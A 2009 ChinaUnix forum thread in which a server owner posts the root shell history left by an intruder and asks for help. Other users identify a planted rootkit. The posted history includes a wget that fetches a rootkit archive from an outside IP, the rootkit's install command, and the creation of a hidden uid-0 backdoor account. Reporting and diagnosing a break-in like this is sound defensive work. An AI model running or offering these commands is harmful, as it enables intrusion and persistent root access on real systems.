免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 2912 | 回复: 15
打印 上一主题 下一主题

被黑了,斑斑帮我瞅瞅下,这下郁闷了 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-05-18 11:17 |只看该作者 |倒序浏览
以下是.bash_history中的内容
w
hostname
hostname
uname -a
cat /etc/hosts
cd /tmp
wget 58.241.84.193/rkit.tgz
tar zxvf rkit.tgz
rm -rf rkit.tgz
cd rk
./inst 0745811563 8080 alinus_cj@yahoo.com
useradd -u0 -o -M belmondo
passwd belmondo
cat /etc/passwd

哭了。。。。。

  1. [root@server ~]# id belmondo
  2. uid=0(root) gid=546(belmondo) groups=0(root)
  3. [root@server ~]#
复制代码

论坛徽章:
9
2015亚冠之阿尔纳斯尔
日期:2015-09-10 16:21:162015亚冠之塔什干火车头
日期:2015-07-01 16:23:022015年亚洲杯之巴勒斯坦
日期:2015-04-20 17:19:46子鼠
日期:2014-11-13 09:51:26未羊
日期:2014-08-28 18:13:36技术图书徽章
日期:2014-02-21 09:30:15酉鸡
日期:2014-01-14 11:12:49天蝎座
日期:2013-12-09 17:56:53平安夜徽章
日期:2015-12-26 00:06:30
2 [报告]
发表于 2009-05-18 11:27 |只看该作者
关注,被种了rootkit
哪个用户的.bash_history?

论坛徽章:
0
3 [报告]
发表于 2009-05-18 11:29 |只看该作者
原帖由 HH106 于 2009-5-18 11:27 发表
关注,被种了rootkit
哪个用户的.bash_history?

root的

论坛徽章:
0
4 [报告]
发表于 2009-05-18 11:53 |只看该作者
作者为什么没清除历史记录?

论坛徽章:
1
15-16赛季CBA联赛之吉林
日期:2018-05-23 14:31:12
5 [报告]
发表于 2009-05-18 11:58 |只看该作者
那rkit.tgz还在吗?  放上来看下

论坛徽章:
0
6 [报告]
发表于 2009-05-18 12:00 |只看该作者
原帖由 gtuiw 于 2009-5-18 11:58 发表
那rkit.tgz还在吗?  放上来看下

不在了,tmp目录里面的内容被清了

论坛徽章:
9
2015亚冠之阿尔纳斯尔
日期:2015-09-10 16:21:162015亚冠之塔什干火车头
日期:2015-07-01 16:23:022015年亚洲杯之巴勒斯坦
日期:2015-04-20 17:19:46子鼠
日期:2014-11-13 09:51:26未羊
日期:2014-08-28 18:13:36技术图书徽章
日期:2014-02-21 09:30:15酉鸡
日期:2014-01-14 11:12:49天蝎座
日期:2013-12-09 17:56:53平安夜徽章
日期:2015-12-26 00:06:30
7 [报告]
发表于 2009-05-18 12:01 |只看该作者
原帖由 gtuiw 于 2009-5-18 11:58 发表
那rkit.tgz还在吗?  放上来看下

那个IP地址是真实的,可以下载的
ip是江苏常州

论坛徽章:
0
8 [报告]
发表于 2009-05-18 12:04 |只看该作者
这文件卡巴直接报毒了

论坛徽章:
0
9 [报告]
发表于 2009-05-18 12:14 |只看该作者

回复 #1 locale 的帖子

历史记录都被删除了么

论坛徽章:
0
10 [报告]
发表于 2009-05-18 12:52 |只看该作者

回复 #1 locale 的帖子

你这台机器提供什么服务的?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP